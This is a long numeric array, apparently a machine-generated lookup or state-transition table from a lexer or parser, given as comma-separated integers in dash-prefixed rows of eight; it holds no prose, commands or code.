145, 145, - 145, 145, 145, 145, 145, 147, 145, 145, - 145, 145, 147, 145, 147, 145, 145, 147, - 145, 145, 147, 145, 147, 145, 147, 145, - 147, 223, 224, 225, 147, 145, 145, 147, - 145, 147, 145, 145, 147, 226, 227, 228, - 229, 230, 231, 232, 233, 234, 235, 236, - 237, 238, 239, 240, 147, 145, 145, 147, - 145, 147, 145, 147, 145, 145, 145, 145, - 147, 145, 145, 147, 147, 147, 147, 145, - 145, 147, 145, 147, 145, 145, 147, 147, - 147, 145, 145, 147, 145, 145, 145, 147, - 145, 145, 145, 145, 147, 145, 145, 145, - 147, 145, 145, 147, 241, 242, 227, 147, - 145, 147, 145, 145, 147, 243, 244, 245, - 246, 247, 248, 249, 147, 250, 251, 252, - 253, 254, 255, 256, 147, 145, 147, 145, - 147, 145, 147, 145, 145, 145, 145, 145, - 147, 145, 147, 145, 147, 145, 147, 257, - 258, 259, 260, 261, 262, 263, 264, 265, - 266, 267, 268, 269, 270, 271, 272, 273, - 270, 274, 275, 276, 277, 278, 279, 280, - 281, 282, 283, 284, 285, 286, 287, 147, - 145, 145, 147, 147, 145, 147, 147, 145, - 145, 145, 147, 145, 145, 147, 145, 145, - 147, 147, 147, 145, 145, 145, 147, 145, - 147, 145, 145, 145, 147, 145, 145, 145, - 145, 145, 145, 145, 147, 145, 147, 145, - 145, 147, 145, 147, 147, 145, 145, 145, - 147, 147, 147, 145, 147, 145, 145, 147, - 145, 147, 145, 147, 145, 145, 145, 147, - 145, 145, 145, 147, 145, 145, 147, 145, - 147, 145, 145, 147, 145, 145, 147, 145, - 145, 145, 145, 147, 147, 147, 145, 145, - 145, 145, 147, 145, 147, 288, 289, 290, - 291, 147, 145, 147, 145, 147, 145, 145, - 147, 147, 147, 145, 292, 147, 145, 147, - 293, 294, 295, 296, 297, 298, 147, 145, - 145, 145, 147, 147, 147, 147, 145, 145, - 147, 145, 145, 147, 147, 147, 145, 145, - 145, 145, 147, 299, 289, 300, 301, 302, - 147, 145, 145, 145, 145, 145, 147, 145, - 147, 145, 147, 145, 147, 304, 214, 216, - 305, 306, 307, 308, 309, 310, 304, 214, - 214, 214, 216, 304, 214, 311, 312, 304, - 214, 313, 214, 314, 315, 316, 317, 318, - 214, 319, 320, 214, 321, 303, 216, 303, - 304, 147, 145, 145, 145, 147, 145, 145, - 147, 145, 145, 145, 147, 147, 145, 145, - 145, 145, 145, 145, 147, 145, 147, 145, - 147, 145, 147, 147, 145, 145, 147, 145, - 147, 145, 147, 145, 145, 147, 145, 145, - 147, 145, 145, 147, 145, 145, 147, 147, - 145, 322, 147, 323, 214, 303, 324, 304, - 147, 145, 147, 325, 224, 147, 145, 147, - 243, 244, 245, 246, 247, 248, 326, 147, - 327, 147, 145, 147, 144, 328, 3, 1, - 330, 329, 329, 330, 330, 329, 330, 330, - 329, 330, 330, 330, 329, 330, 329, 330, - 330, 329, 330, 330, 330, 330, 329, 330, - 330, 329, 329, 330, 330, 329, 330, 330, - 329, 331, 332, 333, 334, 335, 337, 338, - 339, 341, 342, 343, 344, 345, 346, 347, - 348, 349, 350, 351, 352, 353, 354, 355, - 356, 357, 358, 336, 340, 329, 330, 330, - 330, 330, 329, 330, 329, 330, 330, 329, - 329, 329, 330, 329, 329, 329, 330, 330, - 330, 330, 329, 329, 329, 329, 329, 329, - 329, 330, 329, 329, 329, 329, 329, 329, - 330, 329, 329, 329, 329, 329, 330, 330, - 330, 330, 329, 330, 330, 330, 330, 330, - 329, 330, 330, 329, 330, 330, 330, 330, - 329, 330, 330, 329, 329, 329, 329, 329, - 329, 330, 330, 330, 330, 330, 330, 329, - 330, 330, 330, 329, 329, 329, 329, 329, - 329, 330, 330, 329, 330, 330, 330, 330, - 330, 329, 330, 330, 329, 330, 329, 330, - 330, 329, 330, 329, 330, 330, 330, 330, - 330, 329, 330, 329, 330, 330, 330, 330, - 329, 330, 329, 359, 360, 361, 362, 363, - 364, 365, 366, 367, 368, 369, 370, 371, - 372, 373, 374, 375, 376, 377, 378, 379, - 329, 330, 330, 329, 330, 330, 330, 329, - 330, 330, 330, 330, 329, 330, 329, 330, - 330, 329, 330, 330, 329, 330, 329, 329, - 329, 330, 330, 329, 330, 330, 329, 330, - 330, 329, 330, 329, 330, 330, 330, 330, - 330, 329, 330, 329, 330, 330, 329, 329, - 329, 330, 330, 330, 329, 330, 329, 330, - 329, 330, 330, 330, 330, 330, 329, 330, - 330, 329, 380, 381, 382, 383, 384, 329, - 330, 329, 330, 329, 330, 329, 330, 329, - 330, 329, 385, 386, 329, 330, 329, 330, - 329, 387, 388, 389, 390, 391, 392, 393, - 394, 395, 396, 397, 398, 399, 400, 401, - 329, 330, 330, 329, 330, 329, 330, 329, - 330, 330, 330, 330, 329, 330, 330, 329, - 329, 329, 329, 330, 330, 329, 330, 329, - 330, 330, 329, 329, 329, 330, 330, 329, - 330, 330, 330, 329, 330, 330, 330, 330, - 329, 330, 330, 330, 329, 330, 330, 329, - 402, 403, 388, 329, 330, 329, 330, 330, - 329, 404, 405, 406, 407, 408, 409, 410, - 329, 411, 412, 413, 414, 415, 416, 417, - 329, 330, 329, 330, 329, 330, 329, 330, - 330, 330, 330, 330, 329, 330, 329, 330, - 329, 330, 329, 418, 419, 420, 421, 422, - 423, 424, 425, 426, 427, 428, 429, 430, - 431, 432, 433, 434, 431, 435, 436, 437, - 438, 439, 440, 441, 442, 443, 444, 445, - 446, 447, 448, 329, 330, 330, 329, 329, - 330, 329, 329, 330, 330, 330, 329, 330, - 330, 329, 330, 330, 329, 329, 329, 330, - 330, 330, 329, 330, 329, 330, 330, 330, - 329, 330, 330, 330, 330, 330, 330, 330, - 329, 330, 329, 330, 330, 329, 330, 329, - 329, 330, 330, 330, 329, 329, 329, 330, - 329, 330, 330, 329, 330, 329, 330, 329, - 330, 330, 330, 329, 330, 330, 330, 329, - 330, 330, 329, 330, 329, 330, 330, 329, - 330, 330, 329, 330, 330, 330, 330, 329, - 329, 329, 330, 330, 330, 330, 329, 330, - 329, 449, 450, 451, 452, 329, 330, 329, - 330, 329, 330, 330, 329, 329, 329, 330, - 453, 329, 330, 329, 454, 455, 456, 457, - 458, 459, 329, 330, 330, 330, 329, 329, - 329, 329, 330, 330, 329, 330, 330, 329, - 329, 329, 330, 330, 330, 330, 329, 460, - 450, 461, 462, 463, 329, 330, 330, 330, - 330, 330, 329, 330, 329, 330, 329, 330, - 329, 464, 329, 330, 329, 465, 329, 466, - 467, 468, 470, 469, 329, 330, 329, 329, - 330, 330, 330, 329, 471, 471, 330, 330, - 329, 471, 329, 329, 471, 471, 329, 471, - 471, 329, 471, 471, 471, 329, 471, 329, - 471, 471, 329, 471, 471, 471, 471, 329, - 471, 471, 329, 329, 471, 471, 329, 471, - 471, 329, 472, 473, 474, 475, 476, 478, - 479, 480, 482, 483, 484, 485, 486, 487, - 488, 489, 490, 491, 492, 493, 494, 495, - 496, 497, 498, 499, 477, 481, 329, 471, - 471, 471, 471, 329, 471, 329, 471, 471, - 329, 329, 329, 471, 329, 329, 329, 471, - 471, 471, 471, 329, 329, 329, 329, 329, - 329, 329, 471, 329, 329, 329, 329, 329, - 329, 471, 329, 329, 329, 329, 329, 471, - 471, 471, 471, 329, 471, 471, 471, 471, - 471, 329, 471, 471, 329, 471, 471, 471, - 471, 329, 471, 471, 329, 329, 329, 329, - 329, 329, 471, 471, 471, 471, 471, 471, - 329, 471, 471, 471, 329, 329, 329, 329, - 329, 329, 471, 471, 329, 471, 471, 471, - 471, 471, 329, 471, 471, 329, 471, 329, - 471, 471, 329, 471, 329, 471, 471, 471, - 471, 471, 329, 471, 329, 471, 471, 471, - 471, 329, 471, 329, 500, 501, 502, 503, - 504, 505, 506, 507, 508, 509, 510, 511, - 512, 513, 514, 515, 516, 517, 518, 519, - 520, 329, 471, 471, 329, 471, 471, 471, - 329, 471, 471, 471, 471, 329, 471, 329, - 471, 471, 329, 471, 471, 329, 471, 329, - 329, 329, 471, 471, 329, 471, 471, 329, - 471, 471, 329, 471, 329, 471, 471, 471, - 471, 471, 329, 471, 329, 471, 471, 329, - 329, 329, 471, 471, 471, 329, 471, 329, - 471, 329, 471, 471, 471, 471, 471, 329, - 471, 471, 329, 521, 522, 523, 524, 525, - 329, 471, 526, 329, 471, 471, 329, 527, - 528, 522, 529, 530, 531, 532, 533, 534, - 535, 536, 537, 538, 539, 540, 541, 542, - 543, 544, 545, 546, 523, 524, 525, 329, - 471, 526, 471, 329, 471, 329, 471, 329, - 471, 471, 329, 471, 471, 329, 471, 471, - 329, 471, 329, 471, 471, 471, 329, 471, - 329, 471, 471, 329, 471, 471, 329, 471, - 471, 471, 329, 329, 471, 471, 471, 329, - 471, 329, 471, 471, 471, 471, 471, 471, - 471, 471, 329, 471, 471, 471, 471, 471, - 471, 471, 329, 471, 471, 471, 471, 329, - 471, 329, 471, 471, 329, 471, 471, 329, - 471, 329, 471, 329, 471, 329, 547, 548, - 549, 329, 471, 471, 329, 471, 329, 471, - 471, 329, 550, 551, 552, 553, 554, 555, - 556, 557, 558, 559, 560, 561, 562, 563, - 564, 329, 471, 471, 329, 471, 329, 471, - 329, 471, 471, 471, 471, 329, 471, 471, - 329, 329, 329, 329, 471, 471, 329, 471, - 329, 471, 471, 329, 329, 329, 471, 471, - 329, 471, 471, 471, 329, 471, 471, 471, - 471, 329, 471, 471, 471, 329, 471, 471, - 329, 565, 566, 551, 329, 471, 329, 471, - 471, 329, 567, 568, 569, 570, 571, 572, - 573, 329, 574, 575, 576, 577, 578, 579, - 580, 329, 471, 329, 471, 329, 471, 329, - 471, 471, 471, 471, 471, 329, 471, 329, - 471, 329, 471, 329, 581, 582, 583, 584, - 585, 586, 587, 588, 589, 590, 591, 592, - 593, 594, 595, 596, 597, 594, 598, 599, - 600, 601, 602, 603, 604, 605, 606, 607, - 608, 609, 610, 611, 329, 471, 471, 329, - 329, 471, 329, 329, 471, 471, 471, 329, - 471, 471, 329, 471, 471, 329, 329, 329, - 471, 471, 471, 329, 471, 329, 471, 471, - 471, 329, 471, 471, 471, 471, 471, 471, - 471, 329, 471, 329, 471, 471, 329, 471, - 329, 329, 471, 471, 471, 329, 329, 329, - 471, 329, 471, 471, 329, 471, 329, 471, - 329, 471, 471, 471, 329, 471, 471, 471, - 329, 471, 471, 329, 471, 329, 471, 471, - 329, 471, 471, 329, 471, 471, 471, 471, - 329, 329, 329, 471, 471, 471, 471, 329, - 471, 329, 612, 613, 614, 615, 329, 471, - 329, 471, 329, 471, 471, 329, 329, 329, - 471, 616, 329, 471, 329, 617, 618, 619, - 620, 621, 622, 329, 471, 471, 471, 329, - 329, 329, 329, 471, 471, 329, 471, 471, - 329, 329, 329, 471, 471, 471, 471, 329, - 623, 613, 624, 625, 626, 329, 471, 471, - 471, 471, 471, 329, 471, 329, 471, 329, - 471, 329, 628, 538, 540, 629, 630, 631, - 632, 633, 634, 628, 538, 538, 538, 540, - 628, 538, 635, 636, 628, 538, 637, 538, - 638, 639, 640, 641, 642, 538, 643, 644, - 538, 645, 627, 540, 627, 628, 329, 471, - 471, 471, 329, 471, 471, 329, 471, 471, - 471, 329, 329, 471, 471, 471, 471, 471, - 471, 329, 471, 329, 471, 329, 471, 329, - 329, 471, 471, 329, 471, 329, 471, 329, - 471, 471, 329, 471, 471, 329, 471, 471, - 329, 471, 471, 329, 329, 471, 646, 329, - 647, 538, 627, 648, 628, 329, 471, 329, - 649, 548, 329, 471, 329, 567, 568, 569, - 570, 571, 572, 650, 329, 651, 329, 471, - 329, 328, 330, 330, 329, 328, 330, 329, - 328, 330, 329, 653, 654, 652, 329, 328, - 330, 329, 328, 330, 329, 655, 656, 657, - 658, 659, 652, 329, 660, 329, 500, 501, - 502, 655, 656, 661, 503, 504, 505, 506, - 507, 508, 509, 510, 511, 512, 513, 514, - 515, 516, 517, 518, 519, 520, 329, 662, - 660, 500, 501, 502, 663, 657, 658, 503, - 504, 505, 506, 507, 508, 509, 510, 511, - 512, 513, 514, 515, 516, 517, 518, 519, - 520, 329, 662, 329, 664, 662, 500, 501, - 502, 665, 658, 503, 504, 505, 506, 507, - 508, 509, 510, 511, 512, 513, 514, 515, - 516, 517, 518, 519, 520, 329, 664, 329, - 329, 664, 666, 329, 664, 329, 667, 668, - 329, 662, 329, 329, 664, 329, 662, 329, - 662, 550, 551, 552, 553, 554, 555, 556, - 669, 558, 559, 560, 561, 562, 563, 564, - 671, 672, 673, 674, 675, 676, 671, 672, - 673, 674, 675, 676, 671, 670, 677, 329, - 471, 660, 329, 678, 678, 678, 664, 329, - 500, 501, 502, 663, 661, 503, 504, 505, - 506, 507, 508, 509, 510, 511, 512, 513, - 514, 515, 516, 517, 518, 519, 520, 329, - 667, 679, 329, 329, 662, 678, 678, 664, - 678, 678, 664, 678, 678, 678, 664, 678, - 678, 664, 678, 678, 664, 678, 678, 329, - 664, 664, 673, 674, 675, 676, 670, 671, - 673, 674, 675, 676, 670, 671, 673, 674, - 675, 676, 670, 671, 673, 674, 675, 676, - 670, 671, 673, 674, 675, 676, 670, 671, - 673, 674, 675, 676, 670, 671, 673, 674, - 675, 676, 670, 671, 673, 674, 675, 676, - 670, 671, 673, 674, 675, 676, 670, 671, - 672, 677, 674, 675, 676, 670, 671, 672, - 674, 675, 676, 670, 671, 672, 674, 675, - 676, 670, 671, 672, 674, 675, 676, 670, - 671, 672, 674, 675, 676, 670, 671, 672, - 674, 675, 676, 670, 671, 672, 674, 675, - 676, 670, 671, 672, 674, 675, 676, 670, - 671, 672, 674, 675, 676, 670, 671, 672, - 673, 677, 675, 676, 670, 671, 672, 673, - 675, 676, 670, 671, 672, 673, 675, 676, - 670, 671, 672, 673, 675, 676, 670, 671, - 672, 673, 675, 680, 679, 674, 329, 677, - 678, 329, 662, 664, 330, 330, 329, 681, - 682, 683, 684, 685, 686, 687, 688, 689, - 690, 691, 538, 692, 540, 693, 694, 695, - 696, 697, 698, 652, 329, 471, 330, 330, - 330, 330, 329, 471, 330, 330, 329, 471, - 471, 330, 329, 330, 471, 330, 471, 330, - 329, 471, 330, 471, 330, 329, 471, 330, - 329, 471, 330, 471, 330, 471, 330, 329, - 471, 330, 329, 471, 330, 471, 330, 329, - 471, 330, 330, 471, 329, 330, 330, 471, - 329, 471, 330, 471, 329, 330, 330, 471, - 471, 471, 471, 330, 471, 330, 471, 330, - 329, 471, 471, 471, 471, 330, 330, 471, - 330, 471, 330, 329, 471, 471, 471, 330, - 471, 330, 329, 330, 471, 330, 329, 330, - 471, 330, 471, 330, 329, 471, 471, 330, - 329, 699, 700, 652, 329, 471, 471, 330, - 329, 471, 471, 330, 329, 652, 329, 701, - 703, 704, 705, 706, 707, 708, 703, 704, - 705, 706, 707, 708, 703, 652, 702, 677, - 329, 330, 660, 330, 329, 662, 662, 662, - 664, 329, 662, 662, 664, 662, 662, 664, - 662, 662, 662, 664, 662, 662, 664, 662, - 662, 664, 662, 662, 329, 664, 705, 706, - 707, 708, 702, 703, 705, 706, 707, 708, - 702, 703, 705, 706, 707, 708, 702, 703, - 705, 706, 707, 708, 702, 703, 705, 706, - 707, 708, 702, 703, 705, 706, 707, 708, - 702, 703, 705, 706, 707, 708, 702, 703, - 705, 706, 707, 708, 702, 703, 705, 706, - 707, 708, 702, 703, 704, 677, 706, 707, - 708, 702, 703, 704, 706, 707, 708, 702, - 703, 704, 706, 707, 708, 702, 703, 704, - 706, 707, 708, 702, 703, 704, 706, 707, - 708, 702, 703, 704, 706, 707, 708, 702, - 703, 704, 706, 707, 708, 702, 703, 704, - 706, 707, 708, 702, 703, 704, 706, 707, - 708, 702, 703, 704, 705, 677, 707, 708, - 702, 703, 704, 705, 707, 708, 702, 703, - 704, 705, 707, 708, 702, 703, 704, 705, - 707, 708, 702, 703, 704, 705, 707, 709, - 710, 706, 652, 329, 677, 662, 330, 662, - 664, 330, 664, 330, 329, 662, 711, 712, - 652, 329, 330, 329, 330, 330, 330, 329, - 714, 715, 716, 717, 718, 713, 329, 719, - 720, 721, 722, 723, 724, 652, 329, 328, - 330, 329, 328, 330, 329, 330, 328, 330, - 329, 328, 330, 329, 330, 328, 330, 329, - 328, 330, 329, 725, 652, 329, 330, 330, - 329, 726, 652, 329, 330, 330, 329, 727, - 652, 329, 330, 330, 329, 628, 538, 540, - 728, 729, 730, 731, 732, 733, 628, 538, - 538, 734, 540, 628, 538, 735, 736, 628, - 538, 737, 652, 738, 652, 739, 740, 741, - 742, 743, 744, 538, 745, 627, 538, 540, - 627, 628, 329, 471, 330, 471, 330, 329, - 330, 471, 330, 471, 329, 471, 330, 471, - 330, 471, 329, 746, 329, 471, 567, 568, - 569, 570, 571, 572, 747, 329, 748, 651, - 329, 471, 329, 330, 471, 471, 330, 471, - 330, 471, 329, 330, 471, 329, 330, 329, - 471, 471, 330, 329, 330, 471, 329, 330, - 329, 471, 330, 471, 329, 330, 471, 329, - 330, 471, 330, 329, 330, 471, 330, 471, - 330, 329, 330, 471, 330, 471, 329, 330, - 330, 471, 329, 330, 471, 329, 330, 329, - 471, 713, 329, 749, 713, 329, 384, 652, - 750, 652, 329, 330, 329, 328, 3, 1, - 328, 3, 1, 752, 753, 751, 1, 328, - 3, 1, 328, 3, 1, 754, 755, 756, - 757, 758, 751, 1, 759, 146, 760, 761, - 760, 761, 761, 760, 761, 761, 760, 761, - 761, 761, 760, 761, 760, 761, 761, 760, - 761, 761, 761, 761, 760, 761, 761, 760, - 760, 761, 761, 760, 761, 761, 760, 762, - 763, 764, 765, 766, 768, 769, 770, 772, - 773, 774, 775, 776, 777, 778, 779, 780, - 781, 782, 783, 784, 785, 786, 787, 788, - 789, 767, 771, 760, 761, 761, 761, 761, - 760, 761, 760, 761, 761, 760, 760, 760, - 761, 760, 760, 760, 761, 761, 761, 761, - 760, 760, 760, 760, 760, 760, 760, 761, - 760, 760, 760, 760, 760, 760, 761, 760, - 760, 760, 760, 760, 761, 761, 761, 761, - 760, 761, 761, 761, 761, 761, 760, 761, - 761, 760, 761, 761, 761, 761, 760, 761, - 761, 760, 760, 760, 760, 760, 760, 761, - 761, 761, 761, 761, 761, 760, 761, 761, - 761, 760, 760, 760, 760, 760, 760, 761, - 761, 760, 761, 761, 761, 761, 761, 760, - 761, 761, 760, 761, 760, 761, 761, 760, - 761, 760, 761, 761, 761, 761, 761, 760, - 761, 760, 761, 761, 761, 761, 760, 761, - 760, 790, 791, 792, 793, 794, 795, 796, - 797, 798, 799, 800, 801, 802, 803, 804, - 805, 806, 807, 808, 809, 810, 760, 761, - 761, 760, 761, 761, 761, 760, 761, 761, - 761, 761, 760, 761, 760, 761, 761, 760, - 761, 761, 760, 761, 760, 760, 760, 761, - 761, 760, 761, 761, 760, 761, 761, 760, - 761, 760, 761, 761, 761, 761, 761, 760, - 761, 760, 761, 761, 760, 760, 760, 761, - 761, 761, 760, 761, 760, 761, 760, 761, - 761, 761, 761, 761, 760, 761, 761, 760, - 811, 812, 813, 814, 815, 760, 761, 816, - 760, 761, 761, 760, 817, 818, 812, 819, - 820, 821, 822, 823, 824, 825, 826, 827, - 828, 829, 830, 831, 832, 833, 834, 835, - 836, 813, 814, 815, 760, 761, 816, 761, - 760, 761, 760, 761, 760, 761, 761, 760, - 761, 761, 760, 761, 761, 760, 761, 760, - 761, 761, 761, 760, 761, 760, 761, 761, - 760, 761, 761, 760, 761, 761, 761, 760, - 760, 761, 761, 761, 760, 761, 760, 761, - 761, 761, 761, 761, 761, 761, 761, 760, - 761, 761, 761, 761, 761, 761, 761, 760, - 761, 761, 761, 761, 760, 761, 760, 761, - 761, 760, 761, 761, 760, 761, 760, 761, - 760, 761, 760, 837, 838, 839, 760, 761, - 761, 760, 761, 760, 761, 761, 760, 840, - 841, 842, 843, 844, 845, 846, 847, 848, - 849, 850, 851, 852, 853, 854, 760, 761, - 761, 760, 761, 760, 761, 760, 761, 761, - 761, 761, 760, 761, 761, 760, 760, 760, - 760, 761, 761, 760, 761, 760, 761, 761, - 760, 760, 760, 761, 761, 760, 761, 761, - 761, 760, 761, 761, 761, 761, 760, 761, - 761, 761, 760, 761, 761, 760, 855, 856, - 841, 760, 761, 760, 761, 761, 760, 857, - 858, 859, 860, 861, 862, 863, 760, 864, - 865, 866, 867, 868, 869, 870, 760, 761, - 760, 761, 760, 761, 760, 761, 761, 761, - 761, 761, 760, 761, 760, 761, 760, 761, - 760, 871, 872, 873, 874, 875, 876, 877, - 878, 879, 880, 881, 882, 883, 884, 885, - 886, 887, 884, 888, 889, 890, 891, 892, - 893, 894, 895, 896, 897, 898, 899, 900, - 901, 760, 761, 761, 760, 760, 761, 760, - 760, 761, 761, 761, 760, 761, 761, 760, - 761, 761, 760, 760, 760, 761, 761, 761, - 760, 761, 760, 761, 761, 761, 760, 761, - 761, 761, 761, 761, 761, 761, 760, 761, - 760, 761, 761, 760, 761, 760, 760, 761, - 761, 761, 760, 760, 760, 761, 760, 761, - 761, 760, 761, 760, 761, 760, 761, 761, - 761, 760, 761, 761, 761, 760, 761, 761, - 760, 761, 760, 761, 761, 760, 761, 761, - 760, 761, 761, 761, 761, 760, 760, 760, - 761, 761, 761, 761, 760, 761, 760, 902, - 903, 904, 905, 760, 761, 760, 761, 760, - 761, 761, 760, 760, 760, 761, 906, 760, - 761, 760, 907, 908, 909, 910, 911, 912, - 760, 761, 761, 761, 760, 760, 760, 760, - 761, 761, 760, 761, 761, 760, 760, 760, - 761, 761, 761, 761, 760, 913, 903, 914, - 915, 916, 760, 761, 761, 761, 761, 761, - 760, 761, 760, 761, 760, 761, 760, 918, - 828, 830, 919, 920, 921, 922, 923, 924, - 918, 828, 828, 828, 830, 918, 828, 925, - 926, 918, 828, 927, 828, 928, 929, 930, - 931, 932, 828, 933, 934, 828, 935, 917, - 830, 917, 918, 760, 761, 761, 761, 760, - 761, 761, 760, 761, 761, 761, 760, 760, - 761, 761, 761, 761, 761, 761, 760, 761, - 760, 761, 760, 761, 760, 760, 761, 761, - 760, 761, 760, 761, 760, 761, 761, 760, - 761, 761, 760, 761, 761, 760, 761, 761, - 760, 760, 761, 936, 760, 937, 828, 917, - 938, 918, 760, 761, 760, 939, 838, 760, - 761, 760, 857, 858, 859, 860, 861, 862, - 940, 760, 941, 760, 761, 760, 790, 791, - 792, 754, 755, 942, 793, 794, 795, 796, - 797, 798, 799, 800, 801, 802, 803, 804, - 805, 806, 807, 808, 809, 810, 760, 943, - 759, 790, 791, 792, 944, 756, 757, 793, - 794, 795, 796, 797, 798, 799, 800, 801, - 802, 803, 804, 805, 806, 807, 808, 809, - 810, 760, 943, 760, 945, 943, 790, 791, - 792, 946, 757, 793, 794, 795, 796, 797, - 798, 799, 800, 801, 802, 803, 804, 805, - 806, 807, 808, 809, 810, 760, 945, 760, - 146, 945, 947, 760, 945, 760, 948, 949, - 760, 943, 760, 760, 945, 760, 943, 760, - 943, 840, 841, 842, 843, 844, 845, 846, - 950, 848, 849, 850, 851, 852, 853, 854, - 952, 953, 954, 955, 956, 957, 952, 953, - 954, 955, 956, 957, 952, 951, 958, 760, - 761, 759, 760, 959, 959, 959, 945, 760, - 790, 791, 792, 944, 942, 793, 794, 795, - 796, 797, 798, 799, 800, 801, 802, 803, - 804, 805, 806, 807, 808, 809, 810, 760, - 948, 960, 760, 760, 943, 959, 959, 945, - 959, 959, 945, 959, 959, 959, 945, 959, - 959, 945, 959, 959, 945, 959, 959, 760, - 945, 945, 954, 955, 956, 957, 951, 952, - 954, 955, 956, 957, 951, 952, 954, 955, - 956, 957, 951, 952, 954, 955, 956, 957, - 951, 952, 954, 955, 956, 957, 951, 952, - 954, 955, 956, 957, 951, 952, 954, 955, - 956, 957, 951, 952, 954, 955, 956, 957, - 951, 952, 954, 955, 956, 957, 951, 952, - 953, 958, 955, 956, 957, 951, 952, 953, - 955, 956, 957, 951, 952, 953, 955, 956, - 957, 951, 952, 953, 955, 956, 957, 951, - 952, 953, 955, 956, 957, 951, 952, 953, - 955, 956, 957, 951, 952, 953, 955, 956, - 957, 951, 952, 953, 955, 956, 957, 951, - 952, 953, 955, 956, 957, 951, 952, 953, - 954, 958, 956, 957, 951, 952, 953, 954, - 956, 957, 951, 952, 953, 954, 956, 957, - 951, 952, 953, 954, 956, 957, 951, 952, - 953, 954, 956, 961, 960, 955, 760, 958, - 959, 760, 943, 945, 144, 3, 1, 962, - 963, 964, 965, 966, 967, 968, 969, 970, - 971, 972, 214, 973, 216, 974, 975, 976, - 977, 978, 979, 751, 1, 144, 980, 145, - 3, 144, 3, 144, 3, 1, 980, 981, - 981, 980, 980, 981, 980, 980, 981, 980, - 980, 980, 981, 980, 981, 980, 980, 981, - 980, 980, 980, 980, 981, 980, 980, 981, - 981, 980, 980, 981, 980, 980, 981, 982, - 983, 984, 985, 986, 988, 989, 990, 992, - 993, 994, 995, 996, 997, 998, 999, 1000, - 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, - 1009, 987, 991, 981, 980, 980, 980, 980, - 981, 980, 981, 980, 980, 981, 981, 981, - 980, 981, 981, 981, 980, 980, 980, 980, - 981, 981, 981, 981, 981, 981, 981, 980, - 981, 981, 981, 981, 981, 981, 980, 981, - 981, 981, 981, 981, 980, 980, 980, 980, - 981, 980, 980, 980, 980, 980, 981, 980, - 980, 981, 980, 980, 980, 980, 981, 980, - 980, 981, 981, 981, 981, 981, 981, 980, - 980, 980, 980, 980, 980, 981, 980, 980, - 980, 981, 981, 981, 981, 981, 981, 980, - 980, 981, 980, 980, 980, 980, 980, 981, - 980, 980, 981, 980, 981, 980, 980, 981, - 980, 981, 980, 980, 980, 980, 980, 981, - 980, 981, 980, 980, 980, 980, 981, 980, - 981, 1010, 1011, 1012, 1013, 1014, 1015, 1016, - 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, - 1025, 1026, 1027, 1028, 1029, 1030, 981, 980, - 980, 981, 980, 980, 980, 981, 980, 980, - 980, 980, 981, 980, 981, 980, 980, 981, - 980, 980, 981, 980, 981, 981, 981, 980, - 980, 981, 980, 980, 981, 980, 980, 981, - 980, 981, 980, 980, 980, 980, 980, 981, - 980, 981, 980, 980, 981, 981, 981, 980, - 980, 980, 981, 980, 981, 980, 981, 980, - 980, 980, 980, 980, 981, 980, 980, 981, - 1031, 1032, 1033, 1034, 1035, 981, 980, 981, - 980, 981, 980, 981, 980, 981, 980, 981, - 1036, 1037, 981, 980, 981, 980, 981, 1038, - 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, - 1047, 1048, 1049, 1050, 1051, 1052, 981, 980, - 980, 981, 980, 981, 980, 981, 980, 980, - 980, 980, 981, 980, 980, 981, 981, 981, - 981, 980, 980, 981, 980, 981, 980, 980, - 981, 981, 981, 980, 980, 981, 980, 980, - 980, 981, 980, 980, 980, 980, 981, 980, - 980, 980, 981, 980, 980, 981, 1053, 1054, - 1039, 981, 980, 981, 980, 980, 981, 1055, - 1056, 1057, 1058, 1059, 1060, 1061, 981, 1062, - 1063, 1064, 1065, 1066, 1067, 1068, 981, 980, - 981, 980, 981, 980, 981, 980, 980, 980, - 980, 980, 981, 980, 981, 980, 981, 980, - 981, 1069, 1070, 1071, 1072, 1073, 1074, 1075, - 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, - 1084, 1085, 1082, 1086, 1087, 1088, 1089, 1090, - 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, - 1099, 981, 980, 980, 981, 981, 980, 981, - 981, 980, 980, 980, 981, 980, 980, 981, - 980, 980, 981, 981, 981, 980, 980, 980, - 981, 980, 981, 980, 980, 980, 981, 980, - 980, 980, 980, 980, 980, 980, 981, 980, - 981, 980, 980, 981, 980, 981, 981, 980, - 980, 980, 981, 981, 981, 980, 981, 980, - 980, 981, 980, 981, 980, 981, 980, 980, - 980, 981, 980, 980, 980, 981, 980, 980, - 981, 980, 981, 980, 980, 981, 980, 980, - 981, 980, 980, 980, 980, 981, 981, 981, - 980, 980, 980, 980, 981, 980, 981, 1100, - 1101, 1102, 1103, 981, 980, 981, 980, 981, - 980, 980, 981, 981, 981, 980, 1104, 981, - 980, 981, 1105, 1106, 1107, 1108, 1109, 1110, - 981, 980, 980, 980, 981, 981, 981, 981, - 980, 980, 981, 980, 980, 981, 981, 981, - 980, 980, 980, 980, 981, 1111, 1101, 1112, - 1113, 1114, 981, 980, 980, 980, 980, 980, - 981, 980, 981, 980, 981, 980, 981, 1115, - 981, 980, 981, 1116, 981, 1117, 1118, 1119, - 1121, 1120, 981, 980, 981, 981, 980, 980, - 145, 3, 144, 3, 1, 145, 145, 3, - 1, 3, 145, 3, 145, 3, 1, 145, - 3, 145, 3, 1, 145, 3, 1, 145, - 3, 145, 3, 145, 3, 1, 145, 3, - 1, 145, 3, 145, 3, 1, 145, 3, - 3, 145, 1, 3, 3, 145, 1, 145, - 3, 145, 1, 3, 3, 145, 145, 145, - 145, 3, 145, 3, 145, 3, 1, 145, - 145, 145, 145, 3, 3, 145, 3, 145, - 3, 1, 145, 145, 145, 3, 145, 3, - 1, 3, 145, 3, 1, 3, 145, 3, - 145, 3, 1, 145, 145, 3, 1, 1122, - 1123, 751, 1, 145, 145, 3, 1, 145, - 145, 3, 1, 751, 1, 1124, 1126, 1127, - 1128, 1129, 1130, 1131, 1126, 1127, 1128, 1129, - 1130, 1131, 1126, 751, 1125, 958, 1, 3, - 759, 3, 1, 943, 943, 943, 945, 1, - 943, 943, 945, 943, 943, 945, 943, 943, - 943, 945, 943, 943, 945, 943, 943, 945, - 943, 943, 1, 945, 1128, 1129, 1130, 1131, - 1125, 1126, 1128, 1129, 1130, 1131, 1125, 1126, - 1128, 1129, 1130, 1131, 1125, 1126, 1128, 1129, - 1130, 1131, 1125, 1126, 1128, 1129, 1130, 1131, - 1125, 1126, 1128, 1129, 1130, 